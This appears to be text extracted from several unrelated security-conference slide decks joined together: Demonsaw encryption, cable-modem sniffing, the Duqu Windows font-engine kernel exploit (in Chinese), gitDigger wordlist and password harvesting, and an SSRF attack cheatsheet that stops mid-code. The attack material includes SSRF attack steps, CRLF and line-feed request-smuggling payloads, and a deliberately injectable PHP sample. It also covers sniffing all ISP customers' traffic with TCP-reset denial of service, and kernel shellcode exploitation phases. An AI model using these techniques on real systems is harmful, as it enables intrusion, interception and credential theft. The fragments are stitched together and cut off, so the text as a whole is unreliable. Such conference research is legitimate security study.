pkcs5_pbkdf2_hmac_sha256 pbkdf; pbkdf.set_salt("demonsaw 2.0"); string key = pbkdf.compute("Believe in the Right to Share"); cout << "PBKDF2 HMAC SHA256: " << hex::encode(key) << endl; // b1403d5360549dc580eb9cc3cf46bc3a5dfe871a8ada19a37a4429a8e7e85e00 22 Key Agreement Schemes • Generates secret key common to both parties • Benefits • Same shared key created, without key exchange • Both parties influence the outcome • Insecure channel communication • Usages • WPS, SSL/TLS, SSH, VPN • Algorithms • Diffie-Hellman • Notes • Asymmetric • Man-in-the-Middle attack • Unique key sizes 23 Key Agreement Schemes (128 bit) Party A diffie_hellman dh_1(128); const auto& base_1 = dh_1.get_base(); const auto& prime_1 = dh_1.get_prime(); const auto& public_key_1 = dh_1.get_public_key(); cout << "Base: " << hex::encode(base_1) << endl; cout << "Prime: " << hex::encode(prime_1) << endl; cout << "Public Key: " << hex::encode(public_key_1) << endl; // Base: 03 // Prime: 952908c5e136753c1c8b44411396ecf3 // Public Key: 3f19880e8bf951f94c6dc5578242dde5 24 Key Agreement Schemes (128 bit) Party B diffie_hellman dh_2(prime_1, base_1); const bool status_2 = dh_2.compute(public_key_1); const auto& public_key_2 = dh_2.get_public_key(); const auto& shared_key_2 = dh_2.get_shared_key(); cout << "Public Key: " << hex::encode(public_key_2) << endl; cout << "Shared Key: " << hex::encode(shared_key_2) << endl; // Public Key: 0a54116dc11c41ac6c2a3a95a9c61715 // Shared Key: 29cabdd82222c74e7dc44dea9b113a21 Party A const bool status_1 = dh_1.compute(public_key_2); const auto& shared_key_1 = dh_1.get_shared_key(); cout << "Shared Key: " << hex::encode(secret_key_1) << endl; // Shared Key: 29cabdd82222c74e7dc44dea9b113a21 25 Key Agreement Schemes (2048 bit) Base 02 Prime e85d7232623aa7988a681b914ad0d4aa1d5ba17a8be374be808dc26ed988c5b8d7e0998382a6db54ed9a75a436f4b fa17d732d355d3835b7ec9ba131ffe9e7652235f11a9f70a27d440ccf193d6609f98e86ce17000fdb04cdf2d74da2c1e1c5f 8b7ba0fafb5617e7e29f5509b3be2d7dadc4da9f4d9f4442325e978eeb6b2521e5bc097c6ef859cfd736e6413b144b9e48a0 440e905312054315e06d12aa881833672afa467ecc40ab9002db2fa9c9fee39e4c375957f45937fca6c8c9927c8a986d3ec8 9b7059fb3cd66fccfb69a94870afe6b81b190163e152f24895e936243869063ed9d818a02b3efff23812ecba5e07a3b564f2 76e5515a4fffd45bf87 Public Key (A) 1ae20832c2fd50afab8cb387ccdada3ae620b5f22555dde17863008d4f05ede1d9b762bbb1568641af6d4c5d 5f8f2cfa441660b386e77302f8885452f786385aafaf0c55802e10890ba2da3e16df2ebf3b0dbe466fce6713463dc0a498a8 cca2ee946dcb28517b1a7bb768175aa5cdf26c3bf1c54f92a1ee7fe06dfdb058844853539115be1f76e14ab7f6230268e033 9aa687b72f47836cde28876345ca390c2425a92f3bea053168bf70adc325363d3ffc66a0be7aac5438dc43d82343586ee096 a0a142292dbad376eedb960b65975870f2c796df07df7e78b3f16961ed33ff4690d3c9cd300a3d5ac4359a8440aa3a125a61 d9aba9a20fd5e960eceb965c 26 Key Agreement Schemes (2048 bit) Public (B) 35c8abc9cac1e9ca365005b22ab98c8d1efa5656d99286333e5de37a793ba8f8c235886fa3f5c6b6164c662b 21b18ea03b901297a6be623dc8ec5dad106b2e7cd7ab9a339187ea4142f593e414c8992408e0bdede22d3bb51517801431ef ce5f01b4f81a15c61acd948f03f9655242537e31e668ec998ce0ef1c11e99afcf467048934290bc1358cfc41b0b742954c1c 09a539ce2d1845a735b1ad5e12359b6d271195c0fca1b3b8b7135b05857b8f9c5b66f0517c1335eeab0f6916f1848abc6c33 15811af5af417a23c531f02bde7167d268494c009d39815c27d2e8610ac021c26e6a64729c1888dad19f9b026fa752039b8b a18ce6e0285d8060b9b70c20 Shared (A, B) 980b1baeff1745794b384f46743d31b69b830b109e28f81aca96a3c38fe8538dd64ff835b830472a266eca8f f82ede682c57b59c83640b86e0a46edd25923f7e089da9540cb73dd2db9ddde8514c782f9cd2dd5de6a08ed7cae357e1c4ff fb6ecf386f979b2bdd1c755fb6b1efa049d3612c7d51d39185740a2cd3e788104af2391095d4c7b4b56b2d1b6460a665458d 874c8eaee1ec57abe0f7a5335e55f41e32e1c9077582dbb542f7d4b5481d651ca2f9d748731bf9a878b84d2ce822f68e2c6f 3a6aa712da5ed31a6beb7c4dd88930935330454fe809bed9564ffc5772d9e2caebadc749dc806990d9e682f57df33ac7d739 89fedefa71d73b18b2b26765 27 “I am regularly asked what the average Internet user can do to ensure his security. My first answer is usually 'Nothing; you're screwed'.” – Bruce Schneier Securing our Future Demonsaw 1.0 29 • Defcon 22 • A good first step • C#, Windows-only • Learning experience • A little buggy • Secure, Anonymous, Free, Everywhere? Demonsaw 2.0 30 • Goals • Everywhere (Unified code base: C++ 11, Boost, Crypto++) • Simplify the interface • Increase security • Add more features • Promise • 100% free, no ads • No installs, no malware, no bundled software • No logging, no tracking • No bitcoin mining, no bullshit Demonsaw 2.0 31 • Features • Windows, Linux, OSX, Raspberry Pi • Modern UI • Secure chat • Opt-in features • Command-line interface • Customizable themes • Customizable file/folder hashes with salts • Customizable Diffie-Hellman key & prime sizes • Social Cryptography Social Cryptography 32 • New way of thinking about security • Favors individuals & small groups • Doesn't require anybody else • Built on the foundation of traditional security • Share things in common with those we interact with • Contextual awareness via shared knowledge/experiences • Map this contextual awareness into binary form • Use this binary form as entropy for input into crypto routines Demo 33 “A hacker to me is someone creative who does wonderful things.” – Tim Berners-Lee Summary Next Steps • demonsaw 3.0 • Android • Hardware isolation on Android TEE • Streaming, File-sync, Torrents • B2B space • Your continued support • Suggestions, bug fixes, beta testing • One person can make a difference • Email, Twitter 35 Next Steps • Community Involvement • DemonBucket • Suggestions, bug fixes, beta testing • One person can make a difference • Email, Twitter • Tonight’s Party with John McAfee & Defcon Parties • Believe in the Right to Share 36 Questions? 37 www.demonsaw.com eijah@demonsaw.com @demon_saw Eijah References • http://cryptopp.com/ • https://en.wikipedia.org/wiki/Export_of_cryptography_from_the_United_States • https://en.wikipedia.org/wiki/Symmetric-key_algorithm • https://en.wikipedia.org/wiki/Public-key_cryptography • https://en.wikipedia.org/wiki/Advanced_Encryption_Standard_process Demo – Add a Router Demo – Configuring the Router Demo – Add a Client Demo – Network Options Demo - Connecting Demo – Create/Join a Group Demo – Social Crypto Demo – Sharing with your Group
pdf
Sniffing cable modems Guy Martin <gmsoft@tuxicoman.be> Defcon 16 - Aug 2008 – Las Vegas Agenda  What is DOCSIS ? – Use of DOCSIS – General architecture – Registration process – Encryption on the link  Cool, how can I sniff it ? – DVB-C card – Packet-o-matic to the rescue Agenda  Doable things – Privacy – Modem SNMP hacks – Misc  References – DOCSIS – MPEG – Packet-o-matic What is DOCSIS  Use of DOCSIS – Internet : The most known application of the DOCSIS protocol – Telephony : Most cable modems have a built-in ATA (Analog Telephone Adapter) – Digital TV decoders : built-in cable modems to monitor/feedback data from end users What is DOCSIS  General architecture – CMTS on the ISP side broadcast packets to end users on a common single frequency – Modems on end user side send packets back to CMTS on another frequency during its timeslot – A CMTS serves from a small neighborhood to a whole city – Downstream frequency is in the same range than TV ones – Uses MPEG packets like normal digital TV to encapsulate data What is DOCSIS  Registration process – Aquire and lock the downstream frequency – From this, find out the upstream parameters – Get an IP address – Download the modem configuration via TFTP – Apply the configuration and enable forwarding of packets What is DOCSIS  Encryption on the link – Encryption and authentication are NOT mandatory – BPI (Baseline Privacy Interface) provides a mechanism for authentication and/or encryption – DES and AES are the two possible encryption algorithms How to sniff it  DVB-C card – Possible because protocols and frequencies are purposely similar to digital TV ones – Inexpensive – Only the downstream traffic can be captured – Different hardware like USRP could be used to capture both upstream and downstream How to sniff it  Packet-o-matic to the rescue – Input module capture the traffic – Packets are processed and matched using match, helpers and conntrack modules – Eventually the target module process the packets to produce the desired output – Everything occurs real-time – Telnet and XML-RPC interface available Doable things  Privacy – Sniff data destinated to all ISP users – Reassemble streams real-time and extract useable files on the fly (mail, phone and IM conversations, ...) – DoS by reinjecting TCP RST (tcpkill) packets or ICMP error packets Doable things  Modem SNMP hacks – Change IP filters of the modem's ethernet bridge – Deny access to the server polling the download/upload quota – Reboot the modem – Anything else the modem's SNMP interface allows Doable things  Misc – Bypass modem filters by reinjecting sniffed packets in the LAN – Create a virtual network interface (tap device) so other tools can be used References  DOCSIS – http://www.cablelabs.com/ – http://www.cablemodem.com/specifications/  MPEG – ISO/IEC 13818-1  Packet-o-matic – http://www.packet-o-matic.com
pdf
深入理解 Windows 字体解析引擎漏洞 wang yu SyScan(+)360, 2012 议题简介 第一部分 议题简介 ·关于作者 ( wangyu@360.cn ) ·议题背景 2011 年 12 月微软月度安全更新修复了此 前曾被Duqu 恶意软件利用的 Win32K 内核漏洞。 同月,在中国更受关注的一个话题是网站后 台数据库的安全性问题。 本议题将聚焦于 Win32K 字体解析引擎的设 计与实现,以白盒的视角审视 Duqu 0-day 的利用细 节。 议题简介 ·议题涵盖 - 字体解析引擎客户端接口 ( Font Scaler Client Interface ) 的背景、设计与实现 - 演示如何在系统用户态实现字体引擎 ( Font Scaler ) 的客户端 —— 引擎的反内核化示例 - 作为系统内核态字体引擎的客户端,Win32K 模块是 如何与之交互的 —— Win32K 的调用假设 - Duqu 与 MS11-087 远程可执行漏洞 - 字体引擎的更多审计 ·责任声明 从点阵字体到轮廓字体 第二部分 启动扇区里的小游戏 演示:640*480*16 色图形模式写方式二 —— 写点 从点阵字体到轮廓字体 An Improved Representation for Stroke-based Fonts 点阵位图 —— 优点与缺点 从点阵字体到轮廓字体 轮廓字体 —— 优点与缺点 从点阵字体到轮廓字体 ·我们站在巨人的肩膀之上 数字字体的混沌时期 从复印机到 PostScript 页面描述语言,从 Xerox 到 Adobe 苹果公司的加入 — LaserWriter,1985 年 从操作系统的角度考虑,苹果公司从上世纪八十年代末开始 研发自己的可缩放字体技术 — Royal,这即 TrueType 的 前身 ·两种流派,两种理念 - PostScript Type 1 : cubics; "smarter" fonts, "dumber" interpreter - TrueType : quadratics; "dumber" 字体解析引擎客户端接口 第三部分 引擎起源 ·PostScript Type 1 vs. Royal ( TrueType ) PostScript 早于后者六年 ·Royal ( TrueType ) vs. TrueImage "Apple traded the technology to Microsoft in exchange for the latter 's PostScript clone technology 'TrueImage' ... which was buggy at the time, and never used by Apple"... — Thomas W. Phinney ·内核化后,TrueType 字体引擎 ( Font Scaler ) 实现于 Win32K 模块的内部;而 Win32K 模块 也可被视为字体引擎的调用者或引擎客户端 ·引擎的导出接口即 Font Scaler Client Interface 目标研究手段 ·Duqu 0-day 让我充满好奇 "Initially, it even caused confusion among researchers who believed Duqu was exploiting a vulnerability in the MS Word format itself"... — Ivan Teblin ·静态逆向 ·动态跟踪 ·当然,理论上我还可以... 白盒分析! 还具备参考价值吗? 白盒评估 —从宏观角度(引擎架构)从微观角度(代码笔误) sfac_LoadCriticalSfntMetrics – 6.2.9200.16384 sfntaccs.c line:953 sfac_DoOffsetTableMap sfntaccs.c line:252 还可以工作吗? I'm Feeling Lucky! 工欲善其事 必先利其器 字体格式分析工具 TTFDump (FontTools) http://www.microsoft.com/typography/tools/tools.aspx 工欲善其事 必先利其器 呃... TTFDump 唯一的问题就是问题太多 工欲善其事 必先利其器 字体调试工具 TrueTypeViewer http://home.kabelfoon.nl/~slam/fonts/truetypeviewer.html 工欲善其事 必先利其器 囧... 好的 引擎的重要接口 Font Scaler Client Interface 表 Font Scaler Client Interface 引擎的重要接口 续表 Font Scaler Client Interface 表 Routine Prefix 例程前缀功能描述 引擎的核心数据结构 引擎输入、输出核心结构 fs_GlyphInputType CJ_IN fs_GlyphInfoType CJ_OUT fs_SplineKey CJ_0 fsg_WorkSpaceOffsets CJ_3 fsg_PrivateSpaceOffsets CJ_4 图形状态核心结构 fnt_LocalGraphicStateType fnt_ElementType fnt_GlobalGraphicStateType 因为白盒,所以不在话下 引擎的基本执行流 fs_OpenFonts CJ_IN fs_Initialize CJ_0 fs_NewSfnt fs_NewTransformation CJ_3 CJ_4 fs_NewGlyph characterCode fs_ContourGridFit fs_FindBitMapSize fs_ContourScan fs_CloseFonts fs_ContourNoGridFit Client (Fuzz / Win32K) [interface] Font Scaler Phase 1 Phase 2 Phase 3 Phase 4 Phase 5 Phase 6 Phase 7 Phase 8 Phase 9 INITIALIZED INITIALIZED | NEWSFNT INITIALIZED | NEWSFNT | NEWTRANS INITIALIZED | NEWSFNT | NEWTRANS | GOTINDEX INITIALIZED | NEWSFNT | NEWTRANS | GOTINDEX | GOTGLYPH INITIALIZED | NEWSFNT | NEWTRANS | GOTINDEX | GOTGLYPH | SIZEKNOWN CJ_0 SIZE CJ_3 CJ_4 SIZE glyphIndex BITMAP_PTR_1 2 3 SIZE sbit_GetBitmap / fsc_FillGlyph Duqu 0-day pBitmapPtr2 WangYu, All Rights Reserved. 启动引擎! 演示:字体引擎的反内核化示例 指令修正过程 引擎的设计准则与背景推测 ·引擎最初的工作模式 ·引擎对于内存的使用策略 ·“高内聚/低耦合”或是“低内聚/高耦合”? ·毫无疑问,这是一个时代的产物 Win32K 的假设与 MS11-087 第四部分 现有议题资料 ·CVE-2011-3402 分析, venustech ·GDI Font Fuzzing in Windows Kernel for Fun, bh12, PacSec12 ·Anatomy of Duqu exploit, vb100 ·The Cousins of Stuxnet: Duqu, Flame, and Gauss, CrySyS Lab ·共识: 某处发生了越界导致某个值被改写了 精心构造的字体指令触发了恶意代码 ·疑问: 太多的细节值得深入挖掘 CJ_3 和 CJ_4 typedef struct fsg_WorkSpaceOffsets aka. CJ_3 WORKSPACE MEMORY LAYOUT { TrueType Glyph Element [MaxComponentDepth + 1] sizeof(fnt_ElementType) * (MAX_COMPONENT_DEPTH(pMaxProfile) + 1) [ WorkSpaceOffsets->ulGlyphElementOffset ] [ WorkSpaceOffsets->ulGlyphOutlineOffset ] [ WorkSpaceOffsets->ulGlyphDataByteSetOffset ] MAX_NESTED_GLYPHS(MaxProfile) * sizeof(boolean) TrueType Glyph Data Allocation ByteSet GlyphData +0x000 acIdent +0x004 pSibling +0x008 pChild +0x00c pParent +0x010 hGlyph +0x018 GlyphType +0x01c usGlyphIndex ……… +0x080 pGlyphElement TrueType GlyphData [ulGlyphDataCount] [ WorkSpaceOffsets->ulGlyphDataOffset ] MAX_NESTED_GLYPHS(MaxProfile) * sizeof(GlyphData) TrueType Stack [ WorkSpaceOffsets->ulStackOffset ] MaxProfile->maxStackElements * sizeof(F26Dot6) fsg_OutlineFieldInfo +0x000 x +0x004 y +0x008 ox +0x00c oy +0x018 onCurve +0x01c sp } [ END ] fnt_ElementType +0x000 x +0x004 y +0x008 ox +0x00c oy +0x018 onCurve +0x028 nc TrueType Glyph Outline ……… WorkSpaceOffsets->ulReusableMemoryOffset ( WorkSpaceOffsets->ulReusableMemoryOffset += WorkSpaceOffsets->ulGlyphOutlineOffset ) plExtraWorkSpace WangYu, All Rights Reserved. CJ_3 和 CJ_4 typedef struct fsg_PrivateSpaceOffsets aka. CJ_4 PRIVATE SPACE MEMORY LAYOUT { TrueType Storage sizeof(F26Dot6) * MaxProfile->maxStorage [ PrivateSpaceOffsets->offset_storage ] [ PrivateSpaceOffsets->offset_functions ] [ PrivateSpaceOffsets->offset_instrDefs ] sizeof(fnt_funcDef) * MaxProfile->maxFunctionDefs TrueType Function Defs fnt_funcDef +0x000 start +0x004 length +0x006 pgmIndex fnt_instrDef +0x000 start +0x004 length +0x006 pgmIndex +0x007 opCode TrueType Instruction Defs sizeof(fnt_instrDef) * MaxProfile->maxInstructionDefs [ PrivateSpaceOffsets->offset_controlValues ] sizeof(F26Dot6) * (SFAC_LENGTH(ClientInfo, sfnt_controlValue) / sizeof(sfnt_ControlValue)) TrueType Scaled CVT [ PrivateSpaceOffsets->offset_globalGS ] TrueType Global GS fnt_GlobalGraphicStateType sizeof(fnt_GlobalGraphicStateType) +12C cvtCount [ PrivateSpaceOffsets->offset_FontProgram ] [ PrivateSpaceOffsets->offset_PreProgram ] [ PrivateSpaceOffsets->offset_TwilightZone ] TrueType Font Program SFAC_LENGTH(ClientInfo, sfnt_fontProgram) SFAC_LENGTH(ClientInfo, sfnt_preProgram) TrueType Pre Program fnt_ElementType +0x000 x +0x004 y +0x008 ox +0x00c oy +0x018 onCurve +0x028 nc TrueType Twilight Element sizeof(fnt_ElementType) [ PrivateSpaceOffsets->offset_TwilightOutline ] fsg_OutlineFieldInfo +0x000 x +0x004 y +0x008 ox +0x00c oy +0x018 onCurve +0x01c sp } sizeof(fsg_OutlineFieldInfo) [ END ] TrueType Twilight Outline fsg_GetOutlineSizeAndOffsets(pMaxProfile->maxTwilightPoints, MAX_TWILIGHT_CONTOURS, &(PrivateSpaceOffsets->TwilightOutlineFieldOffsets), &ulOutlineSize, &ulReusableMarker); WangYu, All Rights Reserved. Win32K 模块的调用假设 ·堆越界问题?数组越界问题! ·1)ulReusableMemoryOffset 与 pBitmapPtr2 / pbyRead 机制 ·2)Win32K PJ034 的假定 ·3)GetSbitComponent usXOffset /usYOffset ·4)sfac_GetSbitBitmap 缺乏越界检测 ·这是一个潜藏了二十多年的 Bug CJ_IN CJ_0 CJ_4 CJ_OUT CJ_3 bInitInAndOut PJ034 fnt_GlobalGraphicStateType +12C cvtCount OverWrite ! WorkSpaceOffsets + ulMemoryBase6Offset GetSbitComponent fs_GlyphInputType fs_GlyphInfoType fs_SplineKey WangYu, All Rights Reserved. 叹为观止的利用技术 CJ_IN CJ_0 CJ_4 CJ_OUT CJ_3 bInitInAndOut PJ034 fnt_GlobalGraphicStateType +12C cvtCount fs_GlyphInputType fs_GlyphInfoType fs_SplineKey [ CJ_4->offset_controlValues ] [ CJ_4->offset_FontProgram ] …………. [ CJ_4->offset_globalGS ] CJ_4 fnt_GlobalGraphicStateType +0x000 stackBase +0x004 store ………… +0x0ac ScaleFuncCVT ………… controlValueTable Kernel Shellcode In 'fpgm' Table …………. Storage Area Shellcode Base Phase 1 itrp_GetCVTEntryFast Array Bounds Violation Read Phase 2 itrp_WCVT() OverWrite! Phase 3 itrp_LSW() Launch the Shellcode! pb->scaledSW = globalGS->ScaleFuncCVT (&globalGS->scaleCVT, (F26Dot6)pb->sW); LocalGS.globalGS->controlValueTable[ cvtIndex ] = cvtValue; WangYu, All Rights Reserved. Phase 0 Kernel Shellcode sfac_CopyFontAndPrePrograms() 叹为观止的利用技术 演示:Duqu 与 MS11-087 字体引擎的更多审计 第五部分 MS11-087 的一个隐含问题 GetSbitComponent 例程的无限 递归 演示:Duqu 揭示的另一个潜在问题 MS11-087 的一个隐含问题 GetSbitComponent 补丁细节 —— 引入递归深度参数 a14 只此一处? EvaluateSpline 例程的递归条件? 请别忘记引擎现在工作于内核 更多的审计 那么,又一个潜藏了二十多年的 Bug 喽? 演示 引擎的内核化究竟意味着什么? WoW!TOCTTOU! PS : Rootkit, Object Hook 尾声 第六部分 沉思 ·误解 "One popular internet assumption about the Duqu exploit was its dependency on a new vulnerability in Microsoft Word's parsing of the OLE2 document format and allowing activation of the CVE- 2011-3402 exploit in the kernel. In turn, the newer .docx format was considered to be more secure"... — Anatomy of Duqu exploit, vb100 沉思 ·罗生门 "Moving ... the GDI from user mode to kernel mode has provided improved performance without any significant decrease in system stability or reliability"... — Windows Internals, 4th Edition "GDI represents a significant kernel attack surface, and is perhaps the most easily accessible remotely. This resulted in perhaps our most critical discovery, remote ring0 code execution when a user visits a hostile website ( even for unprivileged or protected mode users )."... — There's a Party at Ring0 and You're Invited, bh2010 沉思 ·SMEP ? Kernel Mode Shellcode 这是一个时代的产物,也许它应该进博物馆了。 致谢! P1P1Winner PJF Bugvuln RoyceLu YaoTong PaulFan MJ0011 360-deepscan-team 360-hips-team SyScan Committee Fan.Tuan Q&A wangyu@360.cn
pdf
the Constructocat by Jason Costello - https://github.com/jsncostello gitDigger Creating useful wordlists from GitHub By: WiK & Mubix We suck at “picturing” things, so in order for this presentation to be successful you must all strip down to your underwear CENSORED The Researcher – WiK @jaimefilson We weren't the first to go digging… Link to blog post Only problem is you need to find a service that is “friendly” to “research” 02:09 < pasv> http://www.mavitunasecurity.com/blog/svn-digger-better-lists-for-forced-browsing/ 02:11 <@WiK> nice find 02:11 < pasv> i wish i had thought of it 02:16 < mubix> Thats awesome 02:16 <@WiK> ive done similar stuff, now i have a font collection that 10gb of unique fonts 02:17 < mubix> wish they would add bitbucket, and github to their searches 02:19 <@WiK> ive looked at scrapin github.. theres no real good way to do it The 30 minute I CAN DO THIS! Solution but there is no “all repos” list… Usernames & their repositories Import os Import urllib Import urllib2 Import sqlite3 Enter Python WGET Got it… now what? Wordlists Repositories Lots of manual review and headaches But finally resulted in os.walk() sort grep awk Only the “TOP” repositories 17 hours of manual kung-fu to process into wordlists Betterwalk.walk() vs os.walk() Link to project Initial Thoughts The Good News I got the wordlists that I wanted and they were useful The Bad News Only the “TOP” repositories Sqlite3 transactions were slow 17 hours of manual labor sucks My HDD was now full Lets Get Serious (well, kinda...) FIRST PROBLEM: STORAGE Storage Options Pros Cheap ($99 USD a year) Built-in “indexing” Cons Windows Only Crashes OFTEN Encryption == SLOW Pros Central, local, fast storage Cons Expensive Remember… I’m already at 3 TB… Solution SECOND PROBLEM: PYTHON WGET GITHUB API THIRD PROBLEM: SQLITE SUCKS Solution PUTTING IT ALL TOGETHER Upgrades Added 2 modes Downloader Processor Added Threading Replaced sqlite3 with mysql Upgrades ● Password Table ● count ● name ● Username Table ● count ● name ● Email Table ● count ● name ● Projects Table ● name ● project ● processed ● grepped ● Directories Table ● Files Table ● Last Seen ID Table Added Script to add items to database Mode: Downloader Repositories Repositories Mode: Processor Wordlists Manual Cleanup grep/egrep .sh script add2database.py Updated Results The Good News I'm now getting ALL public repositories Generating wordlists now takes automated minutes instead of manual hours I'm able to store the data over multiple USB HDDs The Bad News Carving out data such as usernames, passwords, and emails still requires some manual work which takes up a bunch of time Huge amount of storage needed An estimated 30TB uncompressed CUE BIG DATA DRINKING GAME You can buy our product for the low low price of 19.95 per MB, maxing at 1 TB, each additional TB will cost one child or goat. Prices and participation may vary, see your BIG DATA representative at the door for a list of vendors who want to take your money. all_dirs.txt 751,991 info 686,812 logs 645,023 lib 555,954 src 490,724 test all_files.txt 846,524 README 683,848 index.html 408,574 ChangeLog 307,197 README.txt 132,053 license.txt usernames.txt 166,997 username 75,794 bob 72,360 users 59,595 admin 45,522 user 38,024 name 29,799 rails 25,853 sa 22,981 root 21,293 test passwords.txt 358,949 password 118,287 foobar 75,567 test 53,238 secret 35,842 user Link to wordlists The Attacker – Mubix @mubix the Strongbadtocat by The obvious stuff... ● Wordlists for "forced" browsing as with the SVN digger project ● Small default passwords list ● static_salts.txt: static salts found within github projects. ● #22 file "Exception.php" ● #323 is "file.php" ● #4819 is password.txt (wtf?) OF 19,260,460 UNIQUE FILES Burp The obvious stuff... ● #370848 ssh1_auth_keys ● #185308 ntlmsso_magic.php keeps going... too much fun.. but how real world is this stuff? coulda woulda shoulda.. SO WHAT! coulda woulda shoulda.. SO WHAT! The not so obvious ● Starting to parse every file from the git revision history (thought you removed that default password did ya?) ● Mass static code analysis for vulnerabilities ● One of the top directories is ".svn", another is ".settings" ;-) ● Parsing .gitignore of production targets ● Verify directories w/ HTTP 403 on . empty_directory and .DS_Store files The not so obvious ● Run OCR on all image files ● Using list of .txt files for intelligence gathering ● Grep out ALL email addresses STOP you're just giving them ideas Thank You! http://github.com/wick2o/gitdigger wick2o@gmail.com @jaimefilson Link to wordlists
pdf
SSRF bible. Cheatsheet  If you have any questions, please post them in the comments!  Revision 1.02  6 august 2014  Authors:   @ONsec_Lab   http://lab.onsec.ru​ [ENG]  @Wallarm​ research team  blog.wallarm.com  1  Table of contents  Table of contents  Basics  Typical attack steps  File Descriptors exploitation way  URL schema support  Protocols SSRF smuggling  Smuggling examples  Apache web­server HTTP parser  Nginx web­server HTTP parser  Vulnerabilities  Basics  Examples  Google Docs  ZeroNights hackquest challenge  Exploitation tricks  Bypassing restrictions  Input validation  Unsafe redirect  DNS pinning  PHP fsockopen() url parsing tricks  Network restrictions  Protocol fingerprinting  Examples  HTTP  Memcached  Retrieving data  Examples  HTTP response encapsulation into XML formatted response  2  Console cURL wildcards URL responses concatenation  SMBRelay exploitation  Original request data sniffing  Examples  Memcached  Exploits  PHP­FPM  Syslog  Exploits  Zabbix agentd  Exploits  Postgres  Exploits  MongoDB  CouchDB  Exploits  FFmpeg  References  Tools  Researches  3  Basics  SSRF ­ Server Side Request Forgery attacks. The ability to create requests from the vulnerable server to intra/internet. Using a protocol supported by available URI schemas, you can communicate with services running on other protocols. Here we collect the various options and examples (exploits) of such interaction. ​See for introduction related researches​.  Typical attack steps  1. Scan internal network to determine internal infrastructure which you may access  2. Collect opened ports at localhost and other internal hosts which you want (basically by time­based determination)  3. Determine services/daemons on ports using ​wiki​ or ​daemons banners​ (if you may watch output)  4. Determine type of you SSRF combination:  ○ Direct socket access (such as this ​example​)  ○ Sockets client (such as java URI, cURL, LWP, others)  5. In case of direct socket access determine CRLF and other injections for smuggling  6. In case of sockets client, determine available ​URI schemas  7. Compare available schemas and services/daemons protocols to find ​smuggling possibilities  8. Determine host­based auth daemons and try to exploit it  File Descriptors exploitation way  Useful in clouds, shared hostings and others large infrastructures. First read slides 20­21 about FDs and 22­23 about ProcFS from this paper​.  There are three ways to access to FDs:   ● Interpreters API (such as fd:// wrapper for PHP)  ○ If there are no such API or required functions disabled, you can try to load native extension:  ■ PHP (require dlopen, but not exec): ​https://github.com/dhotson/fdopen­php  ● exec() call from API (such as exec(‘echo 123 > &​<FDN>​’);)  ○ you may access only FDs without ​O_CLOEXEC​ flag.  ○ C program to scan available FDs is here: ​https://github.com/ONsec­Lab/scripts/blob/master/list­open­fd.c​.  ● ProcFS files (/proc/​<PID>​/fd/​<N>​)  * Note, that you ​can not access to sockets​ through ​/proc/<PID>/fd/<N>​ files!  4  URL schema support  PHP  Java  cURL  LWP  ASP.NET   1 gopher  enable by ­­with­curlwrappers  before last patches  w/o \0 char  +  ASP.NET <=3 and Windows XP and Windows Server   2003 R2 and earlier only  tftp  enable by ­­with­curlwrappers  ­  w/o \0 char  ­  ­  http  +  +  +  +  +  https  +  +  +  +  +  ldap  ­  ­  +  +  ­  ftp  +  +  +  +  +  dict  enable by ­­with­curlwrappers  ­  +  ­  ­  ssh2  disabled by default  ­  ­  Net:SSH2  required  ­  file  +  +  +  +  +  ogg  disabled by default  ­  ­  ­  ­  1 ASP.NET Version:4.0.30319.272 tested  5  expect  disabled by default  ­  ­  ­  ­  imap  enable by ­­with­curlwrappers  ­  +  +  ­  pop3  enable by ­­with­curlwrappers  ­  +  +  ­  mailto  ­  ­  ­  +  ­  smtp  enable by ­­with­curlwrappers  ­  +  ­  ­  telnet  enable by ­­with­curlwrappers  ­  +  ­  ­  6  Protocols SSRF smuggling  TCP  UDP  HTTP  memcached  fastcgi  zabbix  nagios  MySQL  syslog  NTP  snmp  gopher  cURL,  Java,  LWP,  ASP.Net  cURL,   LWP, Java,  ASP.Net  Java,  LWP,  ASP.Net  Java,  LWP,  ASP.Net  Java,  LWP,  ASP.Net  Java,  LWP,  ASP.Net  +  ­  ­  http  All  if LF available  ­  ­  ­  ­  +  ­  ­  dict  ­  cURL  ­  ­  ­  ­  +  ­  ­  ldap  LWP  LWP  ­  ­  ­  ­  LWP  ­  ­  tftp  ­  ­  ­  ­  ­  ­  cURL  cURL  Smuggling examples  Apache web­server HTTP parser  In despite of ​RFC 2616​, Apache web­server allow single LF splitter instead of CRLF. Attacker can use this feature to smuggling packets with 0x0d byte filtered.  Example​:  GET / HTTP/1.1\nHost:localhost\n\n  Pay attention, that Apache Tomcat hasn’t same feature, only CRLF and LFCR are possible there.   7  Nginx web­server HTTP parser  Nginx also supports splitters without CR byte (0x0d). This bytes listed below: 0x20, 0x30­0x39.   Example​:  GET / HTTP/1.1\s\nHost:localhost\s\n\s\n  Also possible using 0x30­0x39 instead of 0x20 (\s)  Look at simple HTTP splitter fuzzer: ​https://github.com/ONsec­Lab/scripts/blob/master/http­splitter­fuzzer.php  8  Vulnerabilities  Basics  There are number of vulnerabilities which can provide SSRF attacks. Basically they can be determined by this groups:  ● Format processing  ○ XML  ■ XXE  ■ DTD remote access  ■ XML design  ○ OpenOffice  ■ DDE formulas  ■ Dynamic data linking  ■ External resource embedding  ○ PDF (TCPDF)  ● Direct sockets access  ○ CRLF injection  ● Net library URL processing (unsafe server­side redirect and others)  ○ cURL  ○ LWP  ○ ASP.NET URI  ○ Java URI  ● External data linking  ○ Databases  ■ Postgres  9  Examples  Google Docs   HTTP CRLF injection unrestricted port and host (restricted by firewalls, not by webapp).   Read more ­ ​http://d0znpp.blogspot.ru/2012/11/google­docs­spreadsheet­ssrf.html   ZeroNights hackquest challenge  Task still available at ​http://hackquest.zeronights.org/missions/ErsSma/​  (Task is no more available there! ­ 404)  Solution: ​http://d0znpp.blogspot.ru/2012/11/zeronights­hackquest­view­from­organizer.html​  (No more there! ­ 404)  Source:  <?php  $host​ ​=​ ​'127.0.0.1'​;  $f​=​fsockopen​(​$host​,​80​)​;  libxml_disable_entity_loader​(true)​;//no XXE  libxml_use_internal_errors​(true)​;  fputs​(​$f​,​"GET /index.php?username=​{$_POST['login']} HTTP/1.1\r\nHost: ​$host\r\n\r\n​"​)​;//CRLF injection  $resp​ ​=​ ​""​;  while​(​$s​ ​=​ ​fgets​(​$f​))          ​$resp​.=​$s​;  $resp​=​substr​(​$resp​,​strpos​(​$resp​,​"\r\n\r\n"​))​;//read by EOF, not by Length header  $doc​ ​=​ ​new​ DOMDocument​()​;  $doc​­>​loadXML​(​$resp​)​;  //echo $resp."nn";  echo​ 